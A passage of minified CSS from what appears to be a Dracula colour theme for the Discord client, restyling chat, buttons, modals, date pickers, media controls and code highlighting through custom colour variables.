4px}[aria-label=Online]::after{content:"ONLINE";font-weight:bold;padding-left:5px;color:#43b581}[aria-label="Do Not Disturb"]::after{content:"DO NOT DISTURB";font-weight:bold;padding-left:5px;color:#f04747}[aria-label=Idle]::after{content:"IDLE";font-weight:bold;padding-left:5px;color:#ffb740}[aria-label=Offline]::after{content:"OFFLINE";font-weight:bold;padding-left:5px;color:#747f8d}:root{--width2: 60%;--height2: 85%}.layers-OrUESM{align-items:center;justify-content:center}.layers-OrUESM>.layer-86YKbF:first-child{opacity:1 !important;transform:none !important}.layers-OrUESM>.layer-86YKbF.stop-animations:first-child{z-index:1;transition:250ms ease-in}.layers-OrUESM>.layer-86YKbF:nth-child(2)::before{content:"";position:absolute;top:calc((100% - var(--height2)) / -1);left:calc((100% - var(--width2)) / -1);padding:calc(100% - var(--height2)) calc(100% - var(--width2));background:black;z-index:2;opacity:.6;width:100%;height:100%;transition:opacity 350ms ease}.layers-OrUESM>.layer-86YKbF:nth-child(2){width:var(--width2);height:var(--height2);top:unset;bottom:unset;right:unset;left:unset;display:block;overflow:visible;transform:translateZ(0);z-index:3}.jumpToPresentBar-1cEnH0{visibility:hidden;bottom:15px}.jumpToPresentBar-1cEnH0 .barButtonIcon-bMvzp2{visibility:visible;padding:12px;background-color:var(--dracula-accent);border-radius:50%;margin-bottom:2em}.theme-dark{--settings-icon-color: white;--settings-subscriptions: #7289da;--settings-hypesquad: #fbb848;--settings-logout: #f04747;--settings-alt-focused: white;--settings-guild-premium: #7289da;--settings-guild-delete: #f04747}.theme-light{--settings-icon-color: #4f5660;--settings-subscriptions: #7289da;--settings-hypesquad: #fbb848;--settings-logout: #f04747;--settings-alt-focused: white;--settings-guild-premium: #7289da;--settings-guild-delete: #f04747}:root{--background: var(--dracula-secondary);--text-default: #f8f8f2;--color-1: #8be9fd;--color-2: #50fa7b;--color-3: #ffb86c;--color-4: #ff5555;--color-5: #bd93f9;--color-6: #ff79c6;--color-7: #f1fa8c;--hljs-attribute: var(--color-1);--hljs-nomarkup: var(--color-1);--hljs-variable: var(--color-2);--hljs-meta: var(--color-6);--hljs-meta-string: var(--color-1);--hljs-meta-keyword: var(--hljs-meta);--hljs-literal: var(--color-4);--hljs-section: var(--color-5);--hljs-number: var(--color-5);--hljs-name: var(--color-5);--hljs-selector-tag: var(--color-5);--hljs-selector-class: var(--color-2);--hljs-selector-attr: var(--color-1);--hljs-selector-pseudo: var(--color-1);--hljs-keyword: var(--color-6);--hljs-built_in: var(--color-2);--hljs-title: var(--color-3);--hljs-link: var(--color-3);--hljs-bullet: var(--color-3);--hljs-symbol: var(--color-3);--hljs-addition: var(--color-1);--hljs-deletion: var(--color-5);--hljs-attr: var(--color-2);--hljs-punctuation: var(--text-default);--hljs-regexp: var(--color-1);--hljs-type: var(--color-2);--hljs-selector-id: var(--color-3);--hljs-operator: var(--text-default);--hljs-rest_arg: var(--text-default);--hljs-template-variable: var(--color-2);--hljs-params: var(--text-default);--hljs-params-attr: var(--hljs-params);--hljs-comment: #6272a4;--hljs-comment-doctag: var(--hljs-comment);--hljs-string: var(--color-1);--hljs-string-subst: var(--color-5);--hljs-string-template-variable: var(--color-2);--hljs-tag: var(--text-default);--hljs-tag-name: var(--color-5);--hljs-tag-attr: var(--color-2);--hljs-function: var(--text-default);--hljs-function-keyword: var(--hljs-keyword);--hljs-function-title: var(--hljs-title);--hljs-function-params: var(--hljs-params);--hljs-function-literal: var(--hljs-literal);--hljs-function-operator: var(--hljs-operator);--hljs-class: var(--text-default);--hljs-class-keyword: var(--color-6);--hljs-class-title: var(--color-7)}#app-mount .hljs{background:var(--background);color:var(--text-default);padding:15px 20px;border-radius:0;border:none}#app-mount .codeLine-3a3dbd{color:var(--text-default)}#app-mount .hljs-comment{color:var(--hljs-comment)}#app-mount .hljs-attribute{color:var(--hljs-attribute)}#app-mount .hljs-nomarkup{color:var(--hljs-nomarkup)}#app-mount .hljs-variable{color:var(--hljs-variable)}#app-mount .hljs-meta{color:var(--hljs-meta)}#app-mount .hljs-meta-string{color:var(--hljs-meta-string)}#app-mount .hljs-meta-keyword{color:var(--hljs-meta-keyword)}#app-mount .hljs-literal{color:var(--hljs-literal)}#app-mount .hljs-string{color:var(--hljs-string)}#app-mount .hljs-section{color:var(--hljs-section)}#app-mount .hljs-number{color:var(--hljs-number)}#app-mount .hljs-tag{color:var(--hljs-tag)}#app-mount .hljs-name{color:var(--hljs-name)}#app-mount .hljs-selector-tag{color:var(--hljs-selector-tag)}#app-mount .hljs-selector-class{color:var(--hljs-selector-class)}#app-mount .hljs-selector-attr{color:var(--hljs-selector-attr)}#app-mount .hljs-selector-pseudo{color:var(--hljs-selector-pseudo)}#app-mount .hljs-function{color:var(--hljs-function)}#app-mount .hljs-keyword{color:var(--hljs-keyword)}#app-mount .hljs-built_in{color:var(--hljs-built_in)}#app-mount .hljs-title{color:var(--hljs-title)}#app-mount .hljs-link{color:var(--hljs-link)}#app-mount .hljs-bullet{color:var(--hljs-bullet)}#app-mount .hljs-symbol{color:var(--hljs-symbol)}#app-mount .hljs-addition{color:var(--hljs-addition)}#app-mount .hljs-deletion{color:var(--hljs-deletion)}#app-mount .hljs-attr{color:var(--hljs-attr)}#app-mount .hljs-punctuation{color:var(--hljs-punctuation)}#app-mount .hljs-regexp{color:var(--hljs-regexp)}#app-mount .hljs-type{color:var(--hljs-type)}#app-mount .hljs-selector-id{color:var(--hljs-selector-id)}#app-mount .hljs-params{color:var(--hljs-params)}#app-mount .hljs-operator{color:var(--hljs-operator)}#app-mount .hljs-rest_arg{color:var(--hljs-rest_arg)}#app-mount .hljs-template-variable{color:var(--hljs-template-variable)}#app-mount .hljs-comment .hljs-doctag{color:var(--hljs-comment-doctag)}#app-mount .hljs-params .hljs-attr{color:var(--hljs-params-attr)}#app-mount .hljs-string .hljs-subst{color:var(--hljs-string-subst)}#app-mount .hljs-string .hljs-template-variable{color:var(--hljs-string-template-variable)}#app-mount .hljs-tag .hljs-name{color:var(--hljs-tag-name)}#app-mount .hljs-tag .hljs-attr{color:var(--hljs-tag-attr)}#app-mount .hljs-function .hljs-keyword{color:var(--hljs-function-keyword)}#app-mount .hljs-function .hljs-title{color:var(--hljs-function-title)}#app-mount .hljs-function .hljs-literal{color:var(--hljs-function-literal)}#app-mount .hljs-function .hljs-params{color:var(--hljs-function-params)}#app-mount .hljs-function .hljs-operator{color:var(--hljs-function-operator)}#app-mount .hljs-class .hljs-keyword{color:var(--hljs-class-keyword)}#app-mount .hljs-class .hljs-title{color:var(--hljs-class-title)}#app-mount .container-2cd8Mz{background-color:var(--dracula-primary)}.scrollableContainer-15eg7h{border-radius:25px;border:1px solid var(--dracula-tertiary);background-color:var(--dracula-secondary)}.content-3spvdd{color:#fff}.username-h_Y3Us{color:#fff}#app-mount .autocomplete-3NRXG8{background-color:var(--dracula-secondary)}#app-mount .selected-3H3-RC{background-color:var(--dracula-accent-alpha)}.categoryHeader-OpJ1Ly{background-color:var(--dracula-primary)}#app-mount .container-2McqkF{background:var(--dracula-secondary) !important}#app-mount .option-2KkUJO:after{display:none}#app-mount .option-2KkUJO.selected-rZcOL-{background-color:var(--dracula-accent)}#app-mount .search-1FM8Qc{border-color:var(--dracula-accent)}.search-1FM8Qc.focused-8aNhVB,.search.open,.search.popout-open{border:2px solid;border-radius:0px}.searchBar-zdmu7v{border-radius:15px}#app-mount .focused-2FU0YH{background-color:var(--dracula-primary)}.option-2KkUJO[aria-selected=true]{background-color:var(--dracula-tertiary) !important}.headerPlaying-j0WQBV{background-color:var(--dracula-accent)}#app-mount .body-2wLx-E,#app-mount .footer-1N3bR3{background-color:var(--dracula-secondary)}#app-mount .headerNormal-T_seeN{background-color:var(--dracula-primary)}.topSection-13QKHs{background-color:var(--dracula-primary)}.body-1Ukv50{background-color:var(--dracula-secondary)}.botTagRegular-kpctgU{background-color:var(--dracula-accent)}.botTagInvert-1nKcq_{color:var(--dracula-accent)}.chat-2ZfjoI,.container-2cd8Mz,.libraryHeader-2loraV,.container-ZMc96U,.homeWrapper-L4ors0 .title-31SJ6t,.applicationStore-2nk7Lo,.scroller-3j5xK2,.pageHeaderDrag-3HG1-5{border-top-left-radius:10px !important}.item-2LIpTv{background-color:var(--dracula-accent)}.newMessagesBar-1hF-9G{background-color:var(--dracula-accent);border:1px var(--dracula-accent-dark);border-style:none solid solid solid}.header-3OsQeK{box-shadow:none;-webkit-box-shadow:none}.name-3Uvkvr,.base-21yXnu:not(.nameNormal-2fPMD2){color:var(--dracula-accent)}.nameWrap-3TyM52.textRow-1sENuL.base-21yXnu.size14-3fJ-ot,.gameIcon-1mDo1J{color:#fff}#app-mount .message-G6O-Wv{background-color:var(--dracula-secondary);box-shadow:none;border:1px solid var(--dracula-tertiary)}.updateIconForeground-2V_zo4{fill:var(--dracula-accent)}.childWrapper-1j_1ub{color:var(--dracula-accent)}.wrapper-3kah-n.selected-1Drb7Z .childWrapper-1j_1ub{background:var(--dracula-accent)}.members-3WRCEx,.members-3WRCEx>div,#dv-mount{background-color:var(--dracula-primary)}.container-2O1UgZ{background-color:var(--dracula-secondary);border:1px solid var(--dracula-tertiary)}.mediaBarGrabber-FvJKJg,.mediaBarProgress-38I317,.mediaBarProgress-38I317:after,.mediaBarProgress-38I317:before,.mediaBarInteraction-tUE5dq:hover .mediaBarGrabber-FvJKJg{background-color:var(--dracula-accent)}.audioControls-3fmemK{background-color:transparent}.videoControls-2NzHnF{background-color:var(--dracula-tertiary-alpha)}.mediaBarInteractionVolume-zGrOSh{background-color:var(--dracula-secondary-alpha)}.wrapper-x4po40{background-color:var(--dracula-secondary-alpha)}.iconPlay-3weMmb.icon-23NjRH polygon[fill=currentColor][points="0 0 0 14 11 7"]{fill:var(--dracula-accent) !important}.metadata-3IncIG{background:linear-gradient(0, transparent, var(--dracula-secondary))}.mediaBarInteractionDragging-3XLL8k .mediaBarGrabber-FvJKJg{background-color:var(--dracula-accent)}.uploadModalIn-2w48Zf .uploadDropModal-13Kd20 .bgScale-1iWuPF{background-color:var(--dracula-secondary)}.uploadModalIn-2w48Zf .uploadDropModal-13Kd20 .inner-rBP-MS{color:var(--dracula-accent);border:2px dashed var(--dracula-accent)}#app-mount .uploadModal-2ie9O_{background-color:var(--dracula-primary)}#app-mount .footer-VCsJQY{background-color:var(--dracula-secondary)}.checked-1pZh2h[style="width: 24px; height: 24px; border-color: rgb(114, 137, 218);"]{border-color:var(--dracula-accent) !important}path[d="M8.99991 16.17L4.82991 12L3.40991 13.41L8.99991 19L20.9999 7.00003L19.5899 5.59003L8.99991 16.17Z"][fill="#7289da"]{fill:var(--dracula-accent)}.uploadModal-2ie9O_ .inner-rBP-MS .file-163EuR .icon-HW4tZ-.image-2ssF8k{border:2px solid var(--dracula-accent)}.uploadModal-2ie9O_ .inner-rBP-MS,.uploadModalIn-2w48Zf .uploadDropModal-13Kd20 .inner-rBP-MS{border:2px dashed var(--dracula-accent);border-radius:10px}.button-12Fmur{border-radius:20px}#app-mount .root-g14mjS{background-color:var(--dracula-primary)}#app-mount .footer-31IekZ{background-color:var(--dracula-secondary)}#app-mount .htqj5xw-f1e1abj{color:var(--dracula-accent);border-color:var(--dracula-accent)}#app-mount .codeRedemptionRedirect-3SBiCp{background-color:var(--dracula-secondary);border-color:var(--dracula-tertiary)}.lookFilled-yCfaCM.colorGrey-2iAG-B,.lookFilled-1Gx00P.colorGrey-2DXtkV{background-color:var(--dracula-accent)}.lookFilled-yCfaCM.colorGrey-2iAG-B:hover,.lookFilled-yCfaCM.colorGrey-2iAG-B:disabled,.lookFilled-1Gx00P.colorGrey-2DXtkV:hover,.lookFilled-1Gx00P.colorGrey-2DXtkV:disabled{background-color:var(--dracula-accent-light)}.backButton-2Ps-B8.button-38aScr.lookBlank-3eh9lL.colorBrand-3pXr91.sizeMin-1mJd1x.grow-q77ONN{color:#b9bbbe}.colorStandard-21JIj7.size16-rrJ6ag.text-PdAsFQ{color:#fff}.colorStandard-21JIj7.size20-9iTTnl.footerTitle-3Bslxi{color:#fff}.colorHeaderPrimary-jN_yGr.size24-17l95E.title-1_TkpU,.colorHeaderPrimary-jN_yGr.size24-17l95E.title-OdeD-o,.colorHeaderPrimary-jN_yGr.size24-17l95E.title-1LqMUp{color:var(--dracula-accent)}.inviteDestinationExpired-1n9a5a{color:#f04747}.container-x8Y1ix{background-color:var(--dracula-secondary)}.colorHeaderSecondary-g5teka,.sampleLink-5BWNy9,.search-25t1e9 .searchBox-31Zv9h .searchBoxInput-3h4etz{color:var(--header-secondary)}.theme-light .footer-31IekZ,.theme-light .root-g14mjS{box-shadow:none}.input-2g-os5{color:var(--header-secondary)}circle[cx="68"][cy="12"][r="12"][fill="#7289DA"]{fill:var(--dracula-accent)}.input-m1-Y7Q{background-color:var(--dracula-secondary);border:1px solid var(--dracula-tertiary)}#app-mount .pageWrapper-2PwDoS{background-color:var(--dracula-primary)}.categoryItem-1QIroW.selectedCategoryItem-FHKU_o .itemInner-gPkiWb{background-color:var(--dracula-accent)}.search-25t1e9 .searchBox-31Zv9h{background-color:var(--dracula-secondary)}.option-1QI4c9:hover,.lookFilled-1Gx00P.colorBrand-3pXr91,.wrapper-3kah-n.selected-1Drb7Z .childWrapper-1j_1ub,.wrapper-3kah-n:hover .childWrapper-1j_1ub,.barFill-2Bh7CX,.colorDefault-CDqZdO.focused-3qFvc8,.headerPlaying-j0WQBV,.topSectionPlaying-1J5E4n,.lookFilled-yCfaCM.colorGreen-29iAKY,.lookFilled-1Gx00P.colorGreen-29iAKY,#app-mount .wrapper-1ZcZW-:hover,.circleIconButton-1VxDrg.selected-2r1Hvo,.newMessagesBar-1hF-9G,.questionMark-3V9mGJ,.bd-button,.bd-addon-views .bd-view-button.selected{background-color:var(--dracula-accent)}.bd-switch input:checked+.bd-switch-body{--switch-color: var(--dracula-accent)}.button-TGAkj4[style*="114, 137, 218"],.button-f2h6uQ[style*="114, 137, 218"],.button-38aScr[style*="114, 137, 218"],.container-2nx-BQ:not([style*="background-color: hsl(218, calc(var(--saturation-factor, 1) * 4.6%), 46.9%)"]),.activeButton-LRWFC_{background-color:var(--dracula-accent) !important}.container-2nx-BQ:not([style*="rgb(114, 118, 125)"]) .slider-32CRPX svg path,.radioSelection-1UHp0b{fill:var(--dracula-accent)}.radioIconForeground-2BMavi{fill:var(--dracula-accent) !important}.item-2idW98[aria-checked=true] svg,.defaultValue-19SZ-q .markValue-2U_-UG,.colorBrand-3cPPsm,.lookOutlined-3sRXeN.colorBrand-3pXr91,.reaction-2A2y9y.reactionMe-3I9gFK .reactionCount-1zkLcN,#app-mount .wrapper-1ZcZW-,.lookInverted-2D7oAl.colorBrand-3pXr91{color:var(--dracula-accent)}.lookOutlined-3sRXeN.colorBrand-3pXr91,.input-2g-os5:focus,.input-2g-os5.focused-1AtTHC{border-color:var(--dracula-accent)}.wrapper-SdcMKg{border:2px solid var(--dracula-accent)}.lookFilled-yCfaCM.colorBrand-3pXr91:hover,.lookFilled-yCfaCM.colorGreen-29iAKY:hover,.lookFilled-1Gx00P.colorBrand-3pXr91:hover,.lookFilled-1Gx00P.colorGreen-29iAKY:hover,.bd-button:hover,.bd-button:focus{background-color:var(--dracula-accent-light)}.circleIconButton-1VxDrg{color:var(--dracula-accent)}.circleIconButton-1VxDrg:hover{color:#fff}.lookFilled-yCfaCM.colorGreen-29iAKY:disabled,.lookFilled-yCfaCM.colorBrand-3pXr91:disabled,.lookFilled-1Gx00P.colorGreen-29iAKY:disabled,.lookFilled-1Gx00P.colorBrand-3pXr91:disabled{background-color:var(--dracula-accent-dark)}.radioSelection-1UHp0b:hover{fill:#fff !important}.reaction-2A2y9y.reactionMe-3I9gFK{background-color:var(--dracula-accent-alpha)}#app-mount .bar-1Bhnl9{background-color:var(--dracula-primary-light)}#app-mount .lookFilled-yCfaCM.colorPrimary-2AuQVo,#app-mount .lookFilled-1Gx00P.colorPrimary-3b3xI6{background-color:var(--dracula-accent)}#app-mount .lookFilled-yCfaCM.colorPrimary-2AuQVo:hover,#app-mount .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover{background-color:var(--dracula-accent-light)}.css-1ba14n5-option{background-color:var(--dracula-secondary)}.css-3vaxre-menu{background-color:var(--dracula-primary)}#app-mount .userSettingsVoice-1_dzjw .previewOverlay-2reuWf{background-color:var(--dracula-secondary);border-color:var(--dracula-tertiary)}#app-mount .progress-1S-TDF{background-color:var(--dracula-secondary)}.container-3NTP7o{background:var(--dracula-accent) !important}.side-2ur1Qk .themed-2-lozF.selected-g-kMVV.item-3XjbnG{background-color:var(--dracula-accent);border-radius:2px}.side-2ur1Qk .themed-2-lozF.selected-g-kMVV.item-3XjbnG:hover{background-color:var(--dracula-accent-light)}.topPill-3DJJNV .themed-2-lozF.selected-g-kMVV.item-3XjbnG{background-color:var(--dracula-accent-alpha);border-radius:2px}.item-3mHhwr.item-3XjbnG[aria-controls=ADD_FRIEND-tab]{background-color:var(--dracula-accent) !important;color:#fff !important}.cardPrimary-3qRT__{background:var(--dracula-secondary)}.colorDefault-CDqZdO:active:not(.hideInteraction-2jPGL_){background-color:var(--dracula-accent-light)}.reaction-2A2y9y{background:var(--dracula-secondary)}.option-1QI4c9{background-color:var(--dracula-primary-light)}.disabled-35mc5w{color:var(--dracula-primary-light)}#app-mount .tooltip-14MtrL,#app-mount .tooltip-1_vJJI,#app-mount .subscribeTooltipWrapper-3ipXtC{background-color:var(--dracula-secondary)}.menu-1QACrS{border:1px solid var(--dracula-tertiary)}.iconBadge-2wi9r4.participating-NBGDkr{background-color:var(--dracula-accent)}.colorable-3rVGna.primaryDark-2UJt1G{background-color:var(--dracula-primary)}.item-1OdjEX[aria-checked=true] svg{color:var(--dracula-accent)}.avatarSpeaking-2pCGrZ,.border-2BJQjd.speaking-3RWJBr{box-shadow:inset 0 0 0 2px var(--dracula-accent),inset 0 0 0 3px var(--dracula-secondary)}.checkbox-1ycfTw .checkboxInner-1aRh1d .checkboxElement-uwAa9F:checked+span{background-color:var(--dracula-accent);border-color:var(--dracula-accent)}#app-mount .closeButton-PCZcma{border-color:var(--dracula-accent)}#app-mount .keybind-13vtq8{color:var(--dracula-accent)}#app-mount .game-3x3aDt{box-shadow:0 1px 0 0 var(--dracula-tertiary)}#app-mount .nowPlaying-zBamm2{background-color:var(--dracula-accent)}#app-mount .card-2ART2V:before{background-color:var(--dracula-secondary);border-color:var(--dracula-tertiary)}.container-2nx-BQ[style="opacity: 1; background-color: rgb(114, 118, 125);"]{background-color:var(--dracula-primary-light) !important}.powercord-alias-pair{background:var(--dracula-secondary) !important;border:1px solid var(--dracula-tertiary) !important}.powercord-alias-textarea:focus{border-color:var(--dracula-accent) !important}.searchBox{background:var(--dracula-secondary) !important}.discordTweaksSettings .tweaks .tweakCard{background-color:var(--dracula-secondary) !important;border:1px solid var(--dracula-tertiary)}.scrollerBase-_bVAAt.disableScrollAnchor-6TwzvM::-webkit-scrollbar-thumb,.auto-2K3UW5.scrollerBase-_bVAAt::-webkit-scrollbar-thumb,.thin-31rlnD.scrollerBase-_bVAAt::-webkit-scrollbar-thumb{background-color:var(--dracula-primary-light)}.base-2jDfDU div::-webkit-scrollbar-thumb,#user-settings div::-webkit-scrollbar-thumb{background-color:var(--dracula-primary-light) !important}.base-2jDfDU div::-webkit-scrollbar-thumb:hover{background-color:var(--dracula-primary-light) !important}.input-3r5zZY{background-color:var(--dracula-secondary);border:1px solid var(--dracula-tertiary)}.selectorButtonSelected-3Z0WNU{background-color:var(--dracula-accent)}.selectorButton-3sW6Qm:not(.selectorButtonPremiumRequired-2pGGEj):hover{background-color:var(--dracula-accent)}.item-2OyinQ{border:none}.lookGhost-2Fn_0-.colorBrand-3pXr91{color:var(--dracula-accent);background-color:var(--dracula-accent-alpha)}.regionSelectModal-12e-57{background:var(--dracula-primary) !important}.regionSelectModal-12e-57 .regionSelectModalOption-2DSIZ3{background-color:var(--dracula-secondary);border:1px solid var(--dracula-tertiary)}.regionSelectModal-12e-57 .regionSelectModalHeader-21khC1{color:var(--dracula-accent)}.regionSelectModal-12e-57 .regionSelectModalOption-2DSIZ3:hover{border-color:var(--dracula-accent)}.container-20TyK0.elevationHigh-28Pty4[style="background-color: rgba(32, 34, 37, 0.9);"]{background-color:var(--dracula-secondary-alpha) !important}#app-mount .tierHeaderLocked-1a2opw{background-color:var(--dracula-secondary)}#app-mount .tierBody-x9kBBp{background-color:var(--dracula-primary)}.tier-3H4BXk{border:1px solid var(--dracula-tertiary)}#app-mount .quickSelectPopout-2F0PXw{background:var(--dracula-secondary)}.check-K_srvn{fill:var(--dracula-accent) !important}#app-mount .calendarPicker-sDhzdi .react-datepicker{background-color:var(--dracula-secondary)}#app-mount .calendarPicker-sDhzdi .react-datepicker__header{background-color:var(--dracula-secondary);border-color:var(--dracula-tertiary)}#app-mount .calendarPicker-sDhzdi .react-datepicker__day.react-datepicker__day--disabled,#app-mount .calendarPicker-sDhzdi .react-datepicker__day.react-datepicker__day--disabled:hover{background-color:var(--dracula-primary-light)}#app-mount .calendarPicker-sDhzdi .react-datepicker__day.react-datepicker__day--disabled:hover,#app-mount .calendarPicker-sDhzdi .react-datepicker__day.react-datepicker__day--disabled:hover:hover{background-color:var(--dracula-primary-light)}#app-mount .calendarPicker-sDhzdi .react-datepicker__day--disabled,#app-mount .calendarPicker-sDhzdi .react-datepicker__day--outside-month{background-color:var(--dracula-primary)}#app-mount .calendarPicker-sDhzdi .react-datepicker__day.react-datepicker__day--selected:after{background-color:var(--dracula-accent)}#app-mount .calendarPicker-sDhzdi .react-datepicker__day.react-datepicker__day--selected:hover,#app-mount .calendarPicker-sDhzdi .react-datepicker__day:hover{background-color:var(--dracula-accent-alpha-alt2)}#app-mount .calendarPicker-sDhzdi .react-datepicker__day{border-top-color:var(--dracula-tertiary);border-left-color:var(--dracula-tertiary)}#app-mount .datePicker-70cO23 .datePickerHint-17MnA8 .hintValue-1x-flY{background-color:transparent}#app-mount .datePicker-70cO23 .datePickerHint-17MnA8 .hintValue-1x-flY:hover{background-color:var(--dracula-accent-alpha-alt2)}.categoryPill-1zjNrr.selected-bLcqYK{background-color:var(--dracula-accent)}.searchPage-3tt6dh .search-25t1e9 .searchBox-31Zv9h:focus,.searchPage-3tt6dh .search-25t1e9 .searchBox-31Zv9h:focus-within{border-color:var(--dracula-accent) !important}.css-12hk9yc-control{background-color:var(--dracula-secondary)}.css-ix84ef-menu{background-color:var(--dracula-secondary)}.css-1adxh11-control{background-color:var(--dracula-secondary)}.scroller-1JpcIc{background-color:var(--dracula-primary)}#app-mount .bodySection-3iDdop,#app-mount .row-2qQ--F{background-color:var(--dracula-secondary)}.checkmarkIcon-2YUUhA{color:var(--dracula-accent)}#app-mount .description-X8_53U{color:var(--dracula-accent)}#app-mount .tile-2mmK5T{background-color:var(--dracula-secondary)}#app-mount .tile-2mmK5T:hover{background-color:var(--dracula-tertiary)}#app-mount .lookFilled-yCfaCM.colorPrimary-2AuQVo:disabled,#app-mount .lookFilled-1Gx00P.colorPrimary-3b3xI6:disabled{background-color:var(--dracula-primary-light)}#app-mount .invalidPoop--w1123{background-color:var(--dracula-secondary)}#app-mount .perksModal-fSYqOq{background-color:var(--dracula-primary)}#app-mount .perk-2WeBWW{background-color:var(--dracula-secondary)}#app-mount .lookFilled-yCfaCM.colorPrimary-2AuQVo:active,#app-mount .lookFilled-yCfaCM.colorPrimary-2AuQVo:hover,.lookFilled-yCfaCM.colorBrand-2AuQVo:active,#app-mount .lookFilled-1Gx00P.colorPrimary-3b3xI6:active,#app-mount .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover,.lookFilled-1Gx00P.colorBrand-3pXr91:active{background-color:var(--dracula-accent-light)}#app-mount .barBackground-unEPDT,#app-mount .tierMarkerBackground-G8FoN4{background-color:var(--dracula-primary-light)}#app-mount .searchAnswer-23w-CH,#app-mount .searchFilter-2UfsDk{background-color:var(--dracula-primary-light)}#app-mount .header-13P3fr{background:var(--dracula-secondary)}.searchPage-3tt6dh .search-25t1e9 .searchBox-31Zv9h .closeIcon-BMGxx0{color:var(--dracula-primary-light)}#app-mount .inset-SbsSFp{background-color:var(--dracula-primary)}#app-mount .outer-2JOHae.active-1W_Gl9,#app-mount .outer-2JOHae.interactive-2zD88a:hover{background-color:var(--dracula-tertiary)}#app-mount .popout-3Zw0qN{background-color:var(--dracula-secondary)}#app-mount .separator-2OaeRP{background-color:var(--dracula-tertiary)}#app-mount .enabled-1t_Gxm:hover{background-color:var(--dracula-tertiary)}.colorBrand-21Le_q{color:var(--dracula-accent)}#app-mount .modal-2RrUKJ{background-color:var(--dracula-primary)}.jumpToPresentBar-1cEnH0{padding:0;bottom:8px;border-radius:15px}#app-mount .emojiAliasInput-3ZhdKx .emojiInput-B8MGXq,#app-mount .emojiAliasInput-1y-NBz .emojiInput-1aLNse{background-color:var(--dracula-secondary)}#app-mount .input-2g-os5:focus,#app-mount .input-2g-os5.focused-1AtTHC,#app-mount .input-2g-os5:hover{border-color:var(--dracula-accent)}.border-2Vy6FN.speaking-7QZEkv{box-shadow:inset 0 0 0 2px var(--dracula-accent),inset 0 0 0 3px var(--dracula-secondary)}.wrapper-1gVUIN.fullScreen-KhZZcz,.wrapper-1gVUIN.noChat-2UYgeE{background-color:var(--dracula-primary)}.tile-2TcwiO{background-color:var(--dracula-secondary) !important;border:1px solid var(--dracula-tertiary)}.gradientContainer-phMG8d{background-image:linear-gradient(var(--dracula-secondary), rgba(36, 38, 49, 0.738) 19%, rgba(36, 38, 49, 0.541) 34%, rgba(36, 38, 49, 0.382) 47%, rgba(36, 38, 49, 0.278) 56.5%, rgba(36, 38, 49, 0.194) 65%, rgba(36, 38, 49, 0.126) 73%, rgba(36, 38, 49, 0.075) 80.2%, rgba(36, 38, 49, 0.042) 86.1%, rgba(36, 38, 49, 0.021) 91%, rgba(36, 38, 49, 0.008) 95.2%, rgba(36, 38, 49, 0.002) 98.2%, transparent)}.colorable-3rVGna.primaryDark-2UJt1G{background-color:var(--dracula-secondary)}.colorable-3rVGna.primaryDark-2UJt1G:hover{background-color:var(--dracula-tertiary)}.colorable-3rVGna.white-11auuQ{background-color:var(--dracula-accent);color:#fff}.colorable-3rVGna.white-11auuQ .centerIcon-2G6o-T{color:#fff}.colorable-3rVGna.white-11auuQ.active-1QRrIS{background-color:var(--dracula-accent)}.colorable-3rVGna.white-11auuQ:hover{background-color:var(--dracula-accent-light)}.colorable-3rVGna.white-11auuQ,.colorable-3rVGna.white-11auuQ .centerIcon-JYpTUi{color:#fff}.colorable-3rVGna.white-11auuQ.active-3D763s{background-color:var(--dracula-accent)}.colorable-3rVGna.white-11auuQ:hover{background-color:var(--dracula-accent-light)}.colorable-3rVGna.white-11auuQ,.colorable-3rVGna.white-11auuQ .centerIcon-JYpTUi{color:#fff}.colorDefault-CDqZdO .checkbox-hADx5o,.colorDefault-CDqZdO .radioSelection-1UHp0b{color:var(--dracula-accent)}#app-mount .wanderingCubesItem-3Us-UG{background-color:var(--dracula-accent)}.videoWrapper-3rtb_V{background-color:var(--dracula-secondary)}.button-1EGGcP.buttonColor-3bP3fX.buttonActive-Uc1jHx,.button-1EGGcP .buttonColor-3bP3fX.buttonActive-Uc1jHx{background-color:var(--dracula-accent-light)}.button-1EGGcP.buttonColor-3bP3fX.buttonActive-Uc1jHx:hover,.button-1EGGcP .buttonColor-3bP3fX.buttonActive-Uc1jHx:hover{background-color:var(--dracula-accent-light)}.button-3Vyz67{background-color:var(--dracula-accent)}.button-3Vyz67:hover{background-color:var(--dracula-accent-light)}.lookOutlined-3sRXeN.colorGreen-29iAKY{color:var(--dracula-accent);border-color:var(--dracula-accent)}.lookOutlined-3sRXeN.colorGreen-29iAKY:active{background-color:var(--dracula-accent-light)}.lookFilled-yCfaCM.colorGreen-29iAKY,.lookFilled-1Gx00P.colorGreen-29iAKY{background-color:var(--dracula-accent)}.lookOutlined-3sRXeN.colorGreen-29iAKY:active{background-color:var(--dracula-accent-light);color:#fff}.icon-N9JZb6:not(.iconServer-GeSR0b){color:var(--dracula-accent)}.checkbox-f1HnKB[style="width: 24px; height: 24px; border-color: rgb(114, 137, 218); background-color: rgb(114, 137, 218);"]{background-color:var(--dracula-accent) !important;border-color:var(--dracula-accent-dark) !important}.checkbox-f1HnKB[style="width: 24px; height: 24px; border-color: rgb(67, 181, 129); background-color: rgb(67, 181, 129);"]{background-color:var(--dracula-accent) !important;border-color:var(--dracula-accent) !important}.checkbox-f1HnKB[style="width: 24px; height: 24px; border-color: rgba(67, 181, 129, 0.15); background-color: rgba(67, 181, 129, 0.15);"]{background-color:var(--dracula-accent-alpha) !important;border-color:var(--dracula-accent-alpha) !important}path[d="M8.99991 16.17L4.82991 12L3.40991 13.41L8.99991 19L20.9999 7.00003L19.5899 5.59003L8.99991 16.17Z"][fill="#43b581"]{fill:var(--dracula-accent)}#app-mount .default-1Tkeeg{background-color:var(--dracula-secondary)}#app-mount .default-1Tkeeg:hover{background-color:var(--dracula-tertiary)}#app-mount .override-1sK4r0:hover{background-color:var(--dracula-tertiary)}.channelTextArea-1VQBuV{border-radius:25px}#app-mount .form-3gdLxP:before{display:none}.css-dwar6a-menu{background-color:var(--dracula-secondary)}.css-rzbxvl-option{background-color:var(--dracula-tertiary)}#app-mount .defaultIndicator-2ndWks{background-color:var(--dracula-accent)}#app-mount .keyboardShortcutsModal-2CRmCm{background-color:var(--dracula-secondary)}#app-mount .colorPickerCustom-1swUKF{background:var(--dracula-primary);border-color:var(--dracula-tertiary)}#app-mount .notDetected-2HEmAp{background-color:var(--dracula-primary-light)}#app-mount .addGamePopout-3yePJc{background-color:var(--dracula-primary)}.css-6fzn47-control:hover{border-color:var(--dracula-accent)}#app-mount 